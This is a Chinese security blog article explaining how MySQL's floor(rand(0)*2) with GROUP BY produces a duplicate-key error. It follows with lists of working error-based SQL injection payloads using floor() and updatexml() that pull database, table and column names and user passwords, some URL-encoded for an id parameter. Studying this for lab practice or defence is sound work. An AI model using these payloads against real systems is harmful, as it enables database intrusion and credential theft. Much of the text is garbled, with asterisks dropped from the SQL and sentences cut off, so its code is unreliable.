学习中遇见了 select count() from table group by floor(rand(0)2); 这么条语句。
select count(),(floor(rand(0)2))x from table group by x;
这样的变形语句基本上都可以变通(这里只是起了个别名)。
基本的查询 select 自不必多说,剩下的几个关键字有 count 、group by 、floor、rand。
rand(0)*2
可见,每次产生的都不一样。当我们提供一个种子参数 0 后,再次查看:
可以发现,每次产生的值都是一样的。也可以称之为伪随机(产生的数据都是可预知的)。
查看多个数据看一下。( test 是我之前创建的一个拥有9条数据的表)
发现第一条数据与刚才查看的单个数据相符合,其它的数据也完全一样。为什么要乘以 2 呢?
floor(rand(0)*2)
之前我们了解到,rand() 是返回 0 到 1 之间的随机数,那么乘 2 后自然是返回 0
到 2 之间的随机数,再配合 floor() 就可以产生确定的两个数了。
group by 与 count(*)
group by 主要用来对数据进行分组(相同的分为一组),这里与count() 结合使
可以观察到,这里对重复性数据进行了整合,然后计数。
重点来了,也就是在这个整合然后计数的过程中,中间发生了什么我们是必须要明
经过网上查询,发现mysql遇到该语句时会建立一个虚拟表。该虚拟表有两个字
段,一个是分组的 key ,一个是计数值 count()。也就对应于上个截图中的
然后在查询数据的时候,首先查看该虚拟表中是否存在该分组,如果存在那么计数值加1,不存在则新建该分组。
先来解释一下count(*)与group by是如何共同工作的。首先,系统会建立一个虚拟表:
执行count(*) from ... group by age的过程中,会形成这样的虚拟表:
由于group by的是age,第一次读取的就是18,在虚拟表中寻找是否已经存在
18,由于表是空的,直接插入一条新数据,这时虚拟表变成这样:
继续。下一个是19,由于虚拟表中依旧没有key为19的字段,故插入。
再下一个是20,继续插入。再下一个又是20。由于已经有了20,故将key为20的
好了,现在group by原理讲完了。那究竟是如何将其与floor联合起来,进行floor
select count(*), floor(rand(0)*2) as a from information_schema.tables group by a;
总体是一个group by语句,只不过这里group by的是floor(rand(0)2)。
这是一个表达式,每次运算的值都是随机的。还记得我刚刚说的floor(rand(0)2)的
接着,进行group by floor(rand(0)2)。
floor表达式第一次运算的值为0,在表中没有找到key为0的数据,故插入,在插入
的过程中需要再取一次group by后面的值(即再进行一次floor运算,结果为
1),取到了1,将之插入,并将count()置1。
继续,再进行group by floor(rand(0)2)。
进行floor表达式运算,由于这是第三次运算了,故值为1。
刚好表中有了key为1的数据,故直接将其对应的count()加1即可。
这是第四次floor运算了,根据刚刚那个011011序列,这次的值为0,在表中找是
在插入时进行floor运算(就像第一次group by那样),这时的值为1,并将count(*)
可是你会说,虚拟表中已经有了key为1的数据了啊。
对,这就是问题所在了。此时就会抛出主键冗余的异常,也就是所谓的floor报错。
select count(*), concat((select database()), '-', floor(rand(0)*2)) as a from information_schema.tables group by a; #将select database()换成你想要的东西!~
报错分析
rand()的特殊性
select count(*) from test group by floor(rand(0)*2);
而又因为 rand 函数的特殊性(如果使用rand()的话,该值会被计算多次)。
在这里的意思就是,group by 进行分组时,floor(rand(0)2) 执行一次(查看分组
是否存在),如果虚拟表中不存在该分组,那么在插入新分组的时候
其实在上述 rand(0) 产生多个数据的时候,也能观察出来。只要 rand(0) 被调
报错
还记得我们之前产生的疑问,为什么要用 floor(rand(0)*2) 产生 0 和 1 这两个数吗?
当 group by 对其进行分组的时候,首先遇到第一个值 0 ,发现 0 不存在,于是
需要插入分组,就在这时,floor(rand(0)*2)再次被触发,生成第二个值 1 ,因此
最终插入虚拟表的也就是第二个值 1* ;然后遇到第三个值 1 ,因为已经存在分组
1 了,就直接计数加1(这时1的计数变为2);遇到第四个值 0 的时候,发现 0 不
存在,于是又需要插入新分组,然后floor(rand(0)2)又被触发,生成第五个值 1
,因此这时还是往虚拟表里插入分组 1 ,**但是,分组 1 已经存在了!
floor(rand(0)*2 的作用就是产生预知的数字序列01101,然后再利用 rand() 的特
殊性和 group by 的虚拟表,最终引起了报错。
利用floor()报错:
注入公式(Payload为自己想获取内容的脚本):
and(select 1 from (select count(*),concat(concat(payload),floor(rand(0)*2))x from information_schema.tables group by x)y)
and(select 1 from (select count(*),concat(concat(database(),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)
and(select 1 from (select count(*),concat(concat((select concat(table_name) from information_schema.tables where table_schema="security" limit 3,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)
and(select 1 from (select count(*),concat(concat((select concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" limit 1,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)
and(select 1 from (select count(*),concat(concat((select concat(username,0x7e,password,0x7e) from security.users limit 1,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)
2.xpath函数:
都是最大爆32位。提示输出信息超过一行,说明这里数据库名组成的字符串长度
超过了64位(groupconcat()函数最大长度为64位),所以需要放弃groupconcat()
limit 0,1 表示输出第一个数据。0表示输出的起始位置,1表示跨度为1(即输出几
and updatexml(1,concat(0x7e,(payload),0x7e))
and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+
id=1%27%20and%20updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),0x7e),1)%23
id=1%27%20and%20updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1),0x7e),1)%23
and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from security.users limit 0,1),0x7e),1)
参考:http://www.hellomao.top/2019/08/16/webmysqlfloor/#%E6%8A%A5%E9%94%99%E5%88%86%E6%9E%90
本文作者:Ms08067安全实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/125085.html